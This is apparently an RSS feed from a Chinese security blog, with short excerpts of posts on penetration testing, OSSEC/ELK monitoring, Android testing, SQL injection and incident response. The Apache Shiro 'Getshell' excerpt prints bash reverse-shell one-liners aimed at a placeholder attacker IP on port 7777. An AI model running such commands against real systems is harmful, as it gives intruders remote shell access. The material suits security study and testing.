<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[zhalang8324的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/zhalang8324</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; zhalang8324]]></copyright><item><title><![CDATA[web面试指南]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/113861301</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/113861301</guid><author>zhalang8324</author><pubDate>Fri, 19 Feb 2021 12:53:16 +0800</pubDate><description><![CDATA[介绍一下自认为有趣的挖洞经历（或CTF经历）
	
	
	你平时用的比较多的漏洞是哪些？相关漏洞的原理？以及对应漏洞的修复方案？
	
	
	你平时使用哪些工具?以及对应工具的特点?
	
	
	如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做？请写出曾经绕过WAF的经过(SQLi，XSS，上传漏洞选一)

	参考以下三篇
	
	
	我的WafBypass之道（SQL注入篇）
	
	
	我的WafBypass之道（Upload篇）
	
	
	我的WafBypass之道（Misc篇）
	
	..]]></description><category></category></item><item><title><![CDATA[安卓应用8.0以上模拟器支持测试办法]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/111218715</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/111218715</guid><author>zhalang8324</author><pubDate>Tue, 15 Dec 2020 15:36:30 +0800</pubDate><description><![CDATA[首先介绍个模拟器，名叫Genymotion，这个最高可以支持安卓10版本的模拟器。

具体的安装介绍可以自己百度，非常简单，这里就不赘述了。

本篇博客主要讲点干货。

首先，连接ADB：

在Genymotion中要连接ADB首先要使用自定义的SDK，可以在如下连接中下载：

https://android-sdk.en.softonic.com/

下载完解压出来后，进入设置：



然后设置好路径：



下面说没有包含，不用管，直接使用Genymotion目录中tools文件夹内的adb跑命令：

]]></description><category></category></item><item><title><![CDATA[root下安卓7以上添加系统信任证书]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/109172038</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/109172038</guid><author>zhalang8324</author><pubDate>Mon, 19 Oct 2020 23:49:31 +0800</pubDate><description><![CDATA[偷个懒直接复制连接

添加证书具体步骤

https://zhuanlan.zhihu.com/p/259255855

另外附上多开夜神模拟器adb连接

https://blog.youkuaiyun.com/weixin_45480533/article/details/104995461
]]></description><category></category></item><item><title><![CDATA[OSSEC功能进阶学习——OSSEC+ELK联动]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/107932623</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/107932623</guid><author>zhalang8324</author><pubDate>Tue, 11 Aug 2020 12:48:30 +0800</pubDate><description><![CDATA[decoder和rules学习

参考链接：https://www.freebuf.com/articles/system/6157.html

以及大大的新书：互联网安全建设从0到1

首先第一个坑！

需要修改的decoder.xml是在/var/ossec/etc这个路径下的。。。ossec-logtest是/var/ossec/bin这个路径下的。。。

第二个坑，如下设置后，logtest依旧无法按照decode正常解析内容：


&lt;decoder name="logtest"&gt;
&l]]></description><category></category></item><item><title><![CDATA[Ossec踩坑记录]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/107863959</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/107863959</guid><author>zhalang8324</author><pubDate>Fri, 07 Aug 2020 19:26:26 +0800</pubDate><description><![CDATA[1.搭建OSSEC

参考教程https://www.cnblogs.com/zlslch/p/8512757.html

2.踩坑记录



笔者装的是目前最新的3.6.0版本，但是make不支持mysql，一直报错：make: *** 没有规则可以创建目标“setdb”。 停止。查阅文档发现从3.0.0版本开始，编译方式不一样。后来在github的iusse找到解决方案


#before compiling, input "DATABASE=mysql" in you bash command lin]]></description><category></category></item><item><title><![CDATA[使用burp插件自动更新JS中的hash签名]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/107040670</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/107040670</guid><author>zhalang8324</author><pubDate>Tue, 30 Jun 2020 13:32:25 +0800</pubDate><description><![CDATA[这次测试遇到了些问题，踩了一些坑，为后来者记。

 本次测试遇到的主要问题是服务端要验证sign值，sign值由sha1(salt+post data)生成，我如果要更改post data进行测试的话，就必须更新sign值。所以就编写了一个burp小插件自动更新。在插件编写完成后，发现存在中文乱码导致hash值生成错误，这个问题问了小伙伴也没有好的办法，最后灵光一现解决了，如下为解决办法：



将burp编码设置为utf-8，很多教程只简单地叫更改字体



然后在插件代码中将b...]]></description><category></category></item><item><title><![CDATA[Apache shiro1.2.4 Getshell]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/106793773</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/106793773</guid><author>zhalang8324</author><pubDate>Tue, 16 Jun 2020 19:29:02 +0800</pubDate><description><![CDATA[方法一

利用JRMPClient

反弹shell方式

Bash：

bash -i &gt;&amp; /dev/tcp/attackIP/7777 0&gt;&amp;1

/bin/bash -i &gt; /dev/tcp/attackIP/7777 0&lt;&amp;1 2&gt;&amp;1

0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/attackIP/7777; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196

P]]></description><category></category></item><item><title><![CDATA[AWS认证攻略 – E哥的AWS Solution Architecture Associate 认证攻略]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/105388242</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/105388242</guid><author>zhalang8324</author><pubDate>Wed, 08 Apr 2020 15:07:43 +0800</pubDate><description><![CDATA[AWS认证介绍
AWS Certified Solutions Architect 系列认证是亚马逊从2013年开始推出的对云计算架构师能力的官方认证。考试不仅考察应试者对AWS相关云服务的熟悉程度，题目也多来源于实际中要解决的问题，要求应试者有全面的架构设计经验和积累，所以含金量很高。在美国招聘网站glassdoor上，AWS solution architect的身价平均在10万美金以上，可见...]]></description><category></category></item><item><title><![CDATA[Django用户登录与注册系统]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/105124066</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/105124066</guid><author>zhalang8324</author><pubDate>Thu, 26 Mar 2020 17:46:40 +0800</pubDate><description><![CDATA[https://blog.youkuaiyun.com/laikaikai/article/details/80563387
]]></description><category></category></item><item><title><![CDATA[如何解决selenium与firefox版本不匹配的问题]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/104769938</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/104769938</guid><author>zhalang8324</author><pubDate>Tue, 10 Mar 2020 11:10:08 +0800</pubDate><description><![CDATA[在做wechat爬虫时遇到的问题，整理记录下：

1.selenium与firefox版本不匹配：

报错为 ：

selenium.common.exceptions.WebDriverException: Message: Can't load the profile. Profile Dir: /tmp/tmpazh15s If you specified a log_file in the...]]></description><category></category></item><item><title><![CDATA[Linux 提权的各种姿势总结]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/104430273</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/104430273</guid><author>zhalang8324</author><pubDate>Fri, 21 Feb 2020 16:38:06 +0800</pubDate><description><![CDATA[这篇讲一些关于 Linux 提权的方法，也是参考网上的一些提权方式，对于刚接触 Linux 提权的伙伴来说，需要花不少时间去理解，所以这里是以个人通俗易懂的思路去写，希望能帮到热爱学习的朋友，先写这些提权方法。若有更好的提权方式，欢迎老哥们在评论里补充一下。

提权可能需要反弹 bash ，因为脚本语言无法形成管道，需要创造一个管道才能进行后续的操作，比如溢出成功之后返回一个 root 权限的 s...]]></description><category></category></item><item><title><![CDATA[适用于渗透测试不同阶段的工具收集整理]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/104182234</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/104182234</guid><author>zhalang8324</author><pubDate>Wed, 05 Feb 2020 14:20:43 +0800</pubDate><description><![CDATA[Red Teaming / Adversary Simulation Toolkit

内容

侦察
	武器化
	交货
	命令与控制
	横向运动
	建立立足点
	升级特权
	数据泄露
	杂项
	参考
侦察

主动情报收集

EyeWitness：可用于网站截图，以及提供一些服务器头信息，并在可能的情况下识别默认凭据。。https://github.com/ChrisTruncer/EyeWitne...]]></description><category></category></item><item><title><![CDATA[备战OSCP——缓冲区溢出实战（一）]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/90477524</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/90477524</guid><author>zhalang8324</author><pubDate>Thu, 23 May 2019 13:37:26 +0800</pubDate><description><![CDATA[如题所示，为了备战OSCP的缓冲区溢出，特开新篇。

本系列所有的例子均可以在git上找到，链接为：https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice

本次所用的是第一个例子，brainpan.exe.没记错的话应该是出自vulnbox。

首先第一步，验证程序，使用od打开brainp...]]></description><category></category></item><item><title><![CDATA[安卓安全——读书笔记]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/89737552</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/89737552</guid><author>zhalang8324</author><pubDate>Wed, 01 May 2019 14:49:10 +0800</pubDate><description><![CDATA[想到什么就随手写点吧，最近刚看完《Android软件安全与逆向分析》。

另外还有一本《Android应用安全防护和逆向分析》，准备开始看。两本书的PDF链接我会放在末尾，需要的自取。



《Android软件安全与逆向分析》书中提到了多种去除Android本地限制的方法，倾向于基础性的安卓破解，比如去内购（不过本书的内购都是围绕着google play来讲的，和国内的内购相差很大，国内的话更...]]></description><category></category></item><item><title><![CDATA[史上最强内网渗透知识点总结]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/85113661</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/85113661</guid><author>zhalang8324</author><pubDate>Sun, 13 Jan 2019 22:33:14 +0800</pubDate><description><![CDATA[https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;amp;mid=2247487491&amp;amp;idx=1&amp;amp;sn=270336c6cca79b4a4e5d777d41ce71b7&amp;amp;chksm=ec1e202bdb69a93dba0f48f973132958c95d86b2db2b6d70b8ddd1cbe41c187fa08ca4c...]]></description><category></category></item><item><title><![CDATA[SQL注入与防御研究（一）]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/86440323</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/86440323</guid><author>zhalang8324</author><pubDate>Sun, 13 Jan 2019 22:32:56 +0800</pubDate><description><![CDATA[本文持续更新。为SQL注入攻击与防御第二版读后感

第一章

SQL注入产生过程：

1.字符处理不当

       '作为分界线。

2.类型处理不当

       数字型，没加单引号，直接可继续执行命令。 LOAD_FILE， SELECT INTO OUTFILE

3.查询语句组装不当

       $SQL = &quot;SELECT&quot;. $_GET[&quot;column1&quot;]. &quot;,&quot;. $_...]]></description><category></category></item><item><title><![CDATA[应急排查手册]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/83094003</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/83094003</guid><author>zhalang8324</author><pubDate>Tue, 16 Oct 2018 17:12:07 +0800</pubDate><description><![CDATA[雷锋网按：本文作者sm0nk@猎户攻防实验室，雷锋网宅客频道授权转载，先知技术社区拥有全部内容版权。媒体或商业转载必须获得授权，违者必追究法律责任。

1 事件分类

常见的安全事件：

Web入侵：挂马、篡改、Webshell

系统入侵：系统异常、RDP爆破、SSH爆破、主机漏洞

病毒木马：远控、后门、勒索软件

信息泄漏：拖裤、数据库登录（弱口令）

网络流量：频繁发包、批量请求、DDOS...]]></description><category></category></item><item><title><![CDATA[ELK配置踩坑指南（持续更新）]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/82993066</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/82993066</guid><author>zhalang8324</author><pubDate>Wed, 10 Oct 2018 11:19:06 +0800</pubDate><description><![CDATA[为什么要去认识了解ELK，这里先买个坑，后面有空了再来写

2018/10/10

      ELK首先，切记不要直接用yum或者apt安装，这是第一个坑。虽然这里很方便，但是受限于各源的不同，导致ELK各版本老旧，很容易出其他问题。比如一开始我用yum安装的kibana（阿里云的源），版本过低，很多功能没有。然后logstash直接没有grok插件，要自己装。这也很麻烦，所以推荐做法是官网下载...]]></description><category></category></item><item><title><![CDATA[内网备忘录（超级全）]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/81452523</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/81452523</guid><author>zhalang8324</author><pubDate>Mon, 06 Aug 2018 13:09:39 +0800</pubDate><description><![CDATA[作者：tom0li

文章内容没谈snmp利用，可以去乌云等社区获取，没有后续内网持久化，日志处理，bypass uac等内容。

Webshell


测试主站，搜wooyun历史洞未发现历史洞，github,svn,目录扫描未发现敏感信息,无域传送，端口只开了80端口，找到后台地址，想爆破后台，验证码后台验证，一次性，用ocr识别，找账号，通过google，baidu，bing等搜索，相关邮箱...]]></description><category></category></item><item><title><![CDATA[互联网企业安全高级指南读书笔记（3）]]></title><link>https://blog.youkuaiyun.com/zhalang8324/article/details/80232021</link><guid>https://blog.youkuaiyun.com/zhalang8324/article/details/80232021</guid><author>zhalang8324</author><pubDate>Mon, 07 May 2018 22:05:14 +0800</pubDate><description><![CDATA[第八章 入侵感知体系主机入侵检测1.开源：OSSECMIG:救火利器OSquery:有一定IDC规模，有一定安全开发能力，对入侵检测有基于大数据理解的公司2.自研：架构设计：            行业法规需求            基础安全需求            企业自身的特殊安全风险需求            运维体系\网络环境适应Agent功能模块：            基线安全   ...]]></description><category></category></item></channel></rss>